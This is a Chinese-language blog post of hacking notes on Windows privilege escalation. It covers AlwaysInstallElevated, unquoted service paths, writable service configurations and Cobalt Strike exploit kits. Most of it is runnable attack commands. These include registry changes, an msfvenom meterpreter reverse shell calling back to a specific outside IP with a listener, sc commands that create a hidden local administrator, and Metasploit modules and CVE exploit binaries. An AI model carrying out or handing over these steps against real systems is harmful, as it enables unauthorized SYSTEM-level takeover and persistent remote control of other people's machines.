- 收到 "AlwaysInstallElevated REG_DWORD 0x1",说明策略已经启用。


启用 Always Install Elevated
# 启用命令
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
# 显示结果
HKEY_CURRENT_USER\Software\Policies\Microsof\Windows\Installer (AlwaysInstalledElevated=1)
# 启用命令
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
# 显示结果
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Install (AlwaysInstalledElevated=1)




Always Install Elevated 提权利用
下载 exemsi:
https://www.exemsi.com/download/







接下来一路 Next

...



# 目标主机上运行
msiexec /quiet /qn /i qiaoshen.msi
# 得到system权限的shell
# always_install_elevated模块
use exploit/windows/local/always_install_elevated
set sessions 1
run

2)可信任服务路径
存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限,Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
需要管理员权限:
1. 创建服务需要管理员权限。
2. 启动 | 暂停 服务 需要管理员权限。
eg:
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe
检索方式(如果存在 空格):
C:\Program.exe
C:\Program Files (x86)\Windows.exe
C:\Program Files (x86)\Windows Folder\Common.exe
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe
对于上面文件路径中的每一个空格,Windows 都会尝试寻找并执行名字与空格前的名字相匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,Windows会依次尝试确定和执行下面的程序。
相关参考文章:
https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa?redirectedfrom=MSDN
测试环境:
漏洞服务下载地址:
https://www.exploit-db.com/exploits/40428
本次漏洞利用的核心原理:
安装路径包含 “ ” 空格:
C:\temp\Vul\Macro Vul\4.0\MacroService.exe
在启动服务时:
1、当服务启动,去索引 C:\temp\Vul\Macro Vul\4.0\MacroService.exe 时
2、到 C:\temp\Vul 时,开始检索 C:\temp\Vul\Macro"*" 这个地方出现了空格,于是在 C:\temp\Vul 路径下检索是否存在名为 macro.exe 的程序(Windows 不区分大小写),若存在,那么停止索引,启动 C:\temp\Vul\Macro.exe 程序。
3、因此本次我们的思路就是把我们的 exe-service 型 payload 上传到我们的 C:\temp\Vul\ 文件夹下,启动服务即可。
检查目标主机是否可能存在漏洞
利用:通过查找系统服务文件中存在的非引用路径,如果一个服务调用可执行文件,没有正确处理引用的全路径名(即没有用 "" 括起来存在 " " 空格的路径),则可利用此漏洞。
# 1.检查目标主机是否可能存在漏洞
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

# 2.创建服务
# 管理员权限下使用sc创建 Windows Folder Service
sc create "Macro Vul" binPath= "C:\temp\Vul\Macro Vul\4.0\MacroService.exe" type= own start= auto obj= LocalSystem
# 给目录赋予everyone用户完全控制权限
cacls.exe "C:\temp\Vul\Macro Vul\4.0" /c /e /t /g everyone:F
# 温馨提示:删除服务
sc delete "Macro Vul"


# 3.检查对有漏洞目录是否有写入权限
icacls "C:\temp\Vul\Macro Vul\4.0"
F =完全控制
CI =容器继承 - 此标志指示从属容器将继承此ACE。
OI = Object Inherit - 这个标志表示从属文件将继承ACE。

# 4.生成 payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=120.55.169.128 LPORT=4205 -f exe-service -o macro.exe
-f exe-service:
如果弹回一个system权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。
此处要生成的是 exe-service,因为如果一个 exe 要以 服务 的形式启动,需要不断的与 Service Mananger 进行通信,否则 Service Mananger 会认为服务出现了异常故障,会停止该 服务,在 MSF 当中显示出来的结果就是 session 极度的不稳定,上线一小会以后立马就会下线。而 exe 的 payload 自然无法实现与 Service Mananger 的通信,因此需要的是 -f exe-service。
或者解决方案为:
exe 的 payload 通过 服务 的方式启动后,快速的迁移到一个新的进程上。
-p windows/x64/meterpreter/reverse_tcp:
exe-service 的 payload 有大小限制,不分段的 payload 超出了大小,在下面的第一张图展示了。


# 5.上传 exe 到漏洞目录

# MSF 启动监听
handler -p windows/x64/meterpreter/reverse_tcp -H 120.55.169.128 -P 4205


# 5.重启服务
sc qc "Macro Vul"
sc stop "Macro Vul"
sc start "Macro Vul"
# 如果没有权限重启服务,则需要等待服务器重启时执行exe


# MSF 也有对应此方法的 模块:
Metasploit集成有 unquoted_service_path 模块
模块实现自动化寻找存在 空格问题 的服务 的 路径,然后自动化的生成 payload 并上传写入,以及重启服务的操作。
use exploit/windows/local/unquoted_service_path

3)不安全的服务权限
1、Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。
2、JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。而类似 JAVA 程序之类的系统服务程序加载时往往都是运行在系统权限上的。
所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。
直接修改服务的“ImagePath”注册表值,而不是修改服务属性。
# 1.利用accesschk工具检查易受到攻击的服务
accesschk.exe -ucqv "Authenticated Users" * /accepteula
services_all_access - 需要包含由这个
- Authenticated Users:指Windows系统中所有使用用户名、密码登录并通过身份验证的账户,不包括来宾账户Guest。也可以使用当前用户用户名来列出所有可以被当前用户修改的服务。
- SERVICE_ALL_ACCESS:意思是我们对 Vulnerable Service 的属性拥有完全控制权

# 2.看可完全控制的服务的属性
sc qc "Macro Vul"
# "Macro Vul" 其实并没有 “services_all_access”,因此此处仅作示例,此处并不会成功


3.修改服务配置执行命令
BINARY_PATH_NAME 参数指向了该服务的可执行程序(wvs_supervisor.exe)路径
sc config "Macro Vul" binpath= "net user localtiquanAdduser password /add"
sc stop "Macro Vul"
sc start "Macro Vul"
sc config "Macro Vul" binpath= "net localgroup Administrators localtiquanAdduser /add"
sc start "Macro Vul"
- BINARY_PATH_NAME:参数指向了该服务的可执行程序路径。如果我们将这个值修改成任何命
令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。

# service_permissions模块
use exploit/windows/local/service_permissions





CS
1)Elevate
项目地址(组件):
https://github.com/rsmudge/ElevateKit



2)插件 - 模块提权


3)CS 运行 EXP
1. CVE-2019-0803
项目地址:
https://github.com/k8gege/K8tools/blob/master/CVE-2019-0803.exe
Q:\QiaoShen\1Tool\PostExpKit\bin\escalation\OtherExps\CVE-2019-0803.exe
CVE-2019-0803.exe cmd whoami
Q:\QiaoShen\1Tool\内网\提权\Windows\利用\Kernelhub\Windows\CVE-2019-0803\poc_test.exe
poc_test.exe(CS 远控无法使用,仅可在本地时运用 或者 MSF)
运行一个权限为 SYSTEM 的 cmd 命令窗口



4)加载 Powershell
help powershell-import
Use: powershell-import [/path/to/local/script.ps1]
powershell-import C:\tool\PowerUp.ps1




5)SweetPotato





服务



版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
QiaoShen-World!
喜欢就支持一下吧